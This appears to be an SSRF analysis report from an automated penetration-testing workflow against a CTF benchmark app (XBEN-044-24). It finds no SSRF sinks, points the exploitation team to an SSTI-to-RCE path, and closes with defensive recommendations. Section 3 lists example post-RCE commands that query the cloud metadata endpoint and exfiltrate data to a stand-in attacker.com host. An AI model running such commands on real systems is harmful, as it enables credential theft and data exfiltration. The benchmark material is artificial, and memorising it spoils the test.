# SSRF Analysis Report

## 1. Executive Summary
- **Analysis Status:** Complete
- **Key Outcome:** No Server-Side Request Forgery (SSRF) vulnerabilities were identified in the application. The application makes no outbound HTTP requests and does not process user-supplied URLs.
- **Purpose of this Document:** This report provides comprehensive evidence that the XBEN-044-24 application has no SSRF attack surface. The application is a simple PHP form processor using Twig template rendering with no network request functionality.

## 2. Dominant Vulnerability Patterns

### Pattern 1: No Outbound Request Functionality
- **Description:** The application architecture does not include any HTTP client libraries, URL fetching mechanisms, or remote resource loading capabilities.
- **Implication:** SSRF attacks require the application to make server-side HTTP requests. Without this functionality, SSRF is impossible regardless of input validation quality.
- **Evidence:** Comprehensive code analysis found zero instances of curl_*, file_get_contents() with URLs, fsockopen(), or HTTP client libraries.

### Pattern 2: String-Based Template Rendering Only
- **Description:** The application uses Twig_Loader_String which renders template strings in-memory rather than loading templates from files or URLs.
- **Implication:** Even though the application has a critical Server-Side Template Injection (SSTI) vulnerability, this cannot be leveraged for SSRF because the template engine does not fetch remote resources.
- **Evidence:** Application uses `new Twig_Loader_String()` at line 12 of index.php, which only processes in-memory strings.

### Pattern 3: Single Static Include
- **Description:** The only file inclusion in the application is a hardcoded static include of the Twig autoloader.
- **Implication:** No dynamic file inclusion or URL-based loading that could be exploited for SSRF.
- **Evidence:** Line 3 of index.php: `include 'vendor/twig/twig/lib/Twig/Autoloader.php';` - completely static with no user input.

## 3. Strategic Intelligence for Exploitation

### Application Architecture
- **HTTP Client Library:** None - The application uses no HTTP client functionality
- **Request Architecture:** No outbound requests - The application only processes inbound POST requests and returns rendered HTML
- **Template Loading:** Twig_Loader_String (in-memory string rendering only, no file/URL fetching)
- **User Input Processing:** Single POST parameter 'name' used only for template rendering
- **External Dependencies:** Only Twig 1.19.0 template engine - no HTTP/networking libraries

### SSRF Sink Analysis Results

The following categories were systematically analyzed with zero findings:

| Category | Functions Searched | Result | Risk Level |
|----------|-------------------|--------|------------|
| HTTP(S) Clients | curl_*, file_get_contents, fopen | ❌ Not Found | None |
| File Inclusion | include, require + variables | ❌ Only static include | None |
| XML Parsers | simplexml_*, DOMDocument | ❌ Not Found | None |
| Redirects | header("Location:") | ❌ Not Found | None |
| Image Processing | ImageMagick, GD functions | ❌ Not Found | None |
| API/Webhooks | HTTP client libraries | ❌ Not Found | None |
| Template Loaders | Twig file/URL loading | ❌ Uses String loader only | None |
| DNS Lookups | gethostbyname, dns_* | ❌ Not Found | None |

### Application Data Flow (No SSRF Paths)

```
User Input (POST 'name')
    ↓
isset() check (line 8)
    ↓
htmlspecialchars() sanitization (line 8)
    ↓
String concatenation into template (line 56)
    ↓
Twig_Loader_String rendering (NO NETWORK REQUESTS)
    ↓
HTML output to user
```

**Critical Finding:** There is no code path where user input can trigger outbound HTTP requests, DNS lookups, or remote resource fetching.

### Internal Services Discovery
- **Status:** Not applicable - Application makes no internal or external network requests
- **Cloud Metadata Endpoints:** Not accessible through application code
- **Internal Network:** Application cannot be used as a proxy or to scan internal services

### SSTI to SSRF Possibility Assessment

**Question:** Can the existing SSTI vulnerability be leveraged for SSRF?

**Answer:** Yes, but only as a consequence of Remote Code Execution (RCE), not as a direct SSRF vulnerability.

**Explanation:**
- The application has a critical SSTI vulnerability (documented in the Injection Analysis phase)
- SSTI enables RCE as the www-data user
- Once RCE is achieved, an attacker could execute commands like:
  - `curl http://169.254.169.254/latest/meta-data/` (cloud metadata)
  - `curl http://internal-service:8080/` (internal services)
  - `wget http://attacker.com/exfiltrate` (data exfiltration)

**Classification:** This is RCE with secondary SSRF capability, not a standalone SSRF vulnerability. For exploitation purposes, focus on the SSTI→RCE path rather than SSRF-specific techniques.

## 4. Secure by Design: Validated Components

The following components were analyzed and found to have no SSRF risk due to architectural design:

| Component/Flow | Endpoint/File Location | Defense Mechanism Implemented | Verdict |
|---|---|---|---|
| Template Rendering | /app/index.php line 56 | Uses Twig_Loader_String (no file/URL fetching) | SAFE (No SSRF risk) |
| File Inclusion | /app/index.php line 3 | Static hardcoded include path with no user input | SAFE |
| Input Processing | /app/index.php line 8 | Single POST parameter used only for template rendering | SAFE (No URL processing) |
| HTTP Response | /app/index.php lines 56-75 | Only generates HTML output, no outbound requests | SAFE |

### Why This Application Cannot Have SSRF

**Architectural Reality:** This application is fundamentally incapable of SSRF because:

1. **No HTTP Client:** The application does not use curl, file_get_contents(), or any HTTP client library
2. **No URL Parameters:** No user input is interpreted as a URL or used in network operations
3. **No Remote Fetching:** The template engine uses string-based rendering, not file/URL loading
4. **No XML/External Entities:** No XML processing that could trigger external resource fetches
5. **No Webhooks/Callbacks:** No functionality that makes outbound API calls

**Code Evidence:** The complete application logic (75 lines in index.php) was analyzed:
- Lines 1-11: Imports and configuration
- Lines 12-24: Twig environment setup
- Lines 25-43: Template version info and sandbox removal
- Lines 45-53: Template string preparation
- Lines 55-58: POST request handler (renders template)
- Lines 60-75: GET request handler (displays form)

**Conclusion:** Not a single line of code performs or can trigger an outbound HTTP request based on user input.

## 5. Analysis Methodology Applied

### Backward Taint Analysis from Pre-Recon Sinks

**Section 10 of Pre-Recon Deliverable:** States "No SSRF sinks exist in the network-accessible components of this application."

**Verification Performed:**
1. ✅ Read pre_recon_deliverable.md Section 10
2. ✅ Confirmed zero SSRF sinks listed
3. ✅ Deployed Task Agent to analyze application code
4. ✅ Verified no HTTP client usage
5. ✅ Verified no URL processing logic
6. ✅ Verified Twig_Loader_String usage (no remote fetching)

### Comprehensive Sink Search

**Categories Searched (all returned zero results):**
- HTTP(S) request libraries and functions
- URL openers and file fetchers
- XML/External entity processors
- Redirect and location headers
- Image/media processors with URL inputs
- API/webhook calling mechanisms
- Template/view fetchers from URLs
- DNS lookup functions with user input

### File Paths Analyzed

**Application Code:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/index.php` (complete application - 75 lines)

**Configuration:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/docker-compose.yml`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/composer.json`

**Framework (Reference):**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-044-24/app/vendor/twig/twig/lib/Twig/Loader/String.php` (verified no network operations)

## 6. External Attacker Scope Assessment

**Question:** Are there any SSRF vulnerabilities exploitable via http://localhost:8081 from the internet?

**Answer:** NO

**Reasoning:**
1. The application accepts HTTP POST requests on port 8081
2. However, no code paths exist that would allow an external attacker to:
   - Access internal services through the application
   - Retrieve cloud metadata endpoints
   - Perform internal network reconnaissance
   - Bypass network segmentation via SSRF

**Exploitable via Internet:** None (0 vulnerabilities)

## 7. Recommendations for SSRF Prevention (Educational)

While this application has no SSRF vulnerabilities, if it were to implement URL fetching functionality in the future, the following controls should be implemented:

### Recommended Defenses (Not Applicable to Current Code)
1. **URL Allowlisting:** Only permit requests to explicitly approved domains
2. **Protocol Restrictions:** Block file://, gopher://, dict://, ftp://, ldap:// schemes
3. **IP Address Filtering:** Block requests to private IP ranges (RFC1918, loopback, link-local)
4. **Cloud Metadata Blocking:** Explicitly deny 169.254.169.254 and metadata.google.internal
5. **Port Restrictions:** Only allow standard HTTP/HTTPS ports (80, 443)
6. **DNS Rebinding Protection:** Resolve hostnames and validate IPs before making requests
7. **Response Size Limits:** Prevent memory exhaustion from large responses
8. **Timeout Controls:** Implement reasonable timeout values

**Current Status:** None of these defenses are needed because the application makes no outbound requests.

## 8. Conclusion

**SSRF Analysis Verdict:** NO VULNERABILITIES FOUND

**Summary:**
- Analyzed all network-accessible endpoints (1 endpoint: POST /index.php)
- Searched for 8 categories of SSRF sinks
- Verified application code makes no outbound HTTP requests
- Confirmed Twig_Loader_String does not fetch remote resources
- Validated no URL processing or remote resource loading exists

**For Exploitation Team:**
- Focus on the SSTI→RCE vulnerability (documented in Injection Analysis phase)
- SSRF can only be achieved as a secondary capability after RCE
- No direct SSRF exploitation paths exist
- The exploitation queue will contain zero SSRF vulnerabilities

**Analysis Confidence:** HIGH - The application's simplicity (single 75-line PHP file) made comprehensive analysis straightforward. Zero SSRF sinks were found across all categories.

---

**Report Completed:** 2025-01-30
**Application:** XBEN-044-24 CTF Challenge  
**Network-Accessible Endpoints Analyzed:** 1 (POST /index.php)
**SSRF Sinks Identified:** 0
**Externally Exploitable SSRF Vulnerabilities:** 0
**Primary Finding:** No SSRF attack surface exists in this application